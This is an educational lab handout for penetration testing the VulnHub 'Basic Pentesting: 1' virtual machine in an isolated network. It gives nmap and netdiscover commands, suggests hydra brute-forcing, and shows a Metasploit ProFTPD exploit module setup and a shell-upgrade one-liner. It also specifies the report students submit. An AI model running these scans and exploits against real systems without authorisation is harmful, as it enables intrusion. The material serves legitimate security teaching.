□ Cybersecurity Lab Project: Penetration Testing with Nmap & Metasploit

□ Project Title:

Penetration Testing of Basic Pentesting 1 Machine using Nmap and Metasploit

---

□ Objective:

Learn practical penetration testing by:

- Scanning and identifying open ports using Nmap
- Finding vulnerabilities
- Exploiting them using Metasploit (msfconsole)
- Getting shell access
- Documenting the entire process like a real-world report

□ Prerequisites

- Basic knowledge of Linux commands
- Kali Linux (preferably as host or inside VirtualBox)
- Installed: `nmap`, `msfconsole`, `netdiscover`
- Oracle VirtualBox

□ Machine Download & Setup Instructions

□ VulnHub Machine Link:

□ Basic Pentesting: 1

□ Steps to Set Up the Machine:

1. **Download the VM**
   Visit the above link, click **"Download"**, and extract the `.zip` file. You'll get a `.vmdk` file.
2. **Import into VirtualBox**
   - Open **VirtualBox** > **New**
   - Name: `BasicPentest1`
   - Type: Linux | Version: Ubuntu (64-bit)
   - RAM: Min 1GB

- Choose "Use existing virtual hard disk file" → Browse and select `.vmdk` file
- Click **Create**

3. **Set Networking to Host-Only Adapter**
   - Go to **Settings > Network > Adapter 1**
   - Choose **Attached to: Host-Only Adapter**
   - Ensure your Kali VM is on the same network
4. **Start the Machine**
   The machine will boot into a black screen (no GUI). That's normal—it's headless.

□ Task Instructions for Students

1. □ Discover the Target IP

Use `netdiscover` or `arp-scan` to find the IP of the target machine:

```
netdiscover -r 192.168.56.0/24
```

Replace subnet based on your network.

---

2. □ Scan for Open Ports using Nmap

```
nmap -sC -sV -oN basicpentest_nmap.txt [target_ip]
```

- `-sC`: Default scripts
- `-sV`: Version detection
- `-oN`: Output to file

Identify:

- Web ports (HTTP)
- SSH/FTP/SMB ports

---

3. □ Enumeration Phase

- Visit the website if port 80 is open
- Check for any login pages
- Use `nikto` to scan web vulnerabilities
- Use `enum4linux` if SMB is open
- Try brute-forcing login with `hydra` or `medusa` if FTP/SSH login is found

---

4. □ Exploit Using Metasploit

1. Launch `msfconsole`
2. Search for relevant exploit based on port/service

Example for SSH or web:

```
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOSTS [target_ip]
set RPORT 21
run
```

Only if Nmap shows ProFTPD, for example.

---

5. □ Get Reverse Shell & Maintain Access

- Once you get shell access, upgrade it using:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

□ Project Deliverables (Report Format)

Each student should submit:

□ 1. Recon & Scanning

- IP discovered
- Nmap results screenshot

□ 2. Enumeration

- Tools used (enum4linux, nikto, etc.)
- Findings

□ 3. Exploitation

- Exploit module used in Metasploit
- Shell screenshot

□ 4. Post Exploitation

- Whoami, id, uname -a
- Flag (if any)

□ 5. Report Format (PDF)

- Cover Page
- Summary

- Steps with screenshots
- Lessons learned
- Suggestions for defense

□ Learning Outcome

By completing this project, students will:

- Understand how attackers exploit systems
- Gain fluency with Nmap and Metasploit
- Learn to write structured pentest reports
- Develop critical thinking in cybersecurity

□ Important Notes

- Do not expose this machine to public networks.
- Use in a safe lab/isolated environment only.
- Educational purposes only.
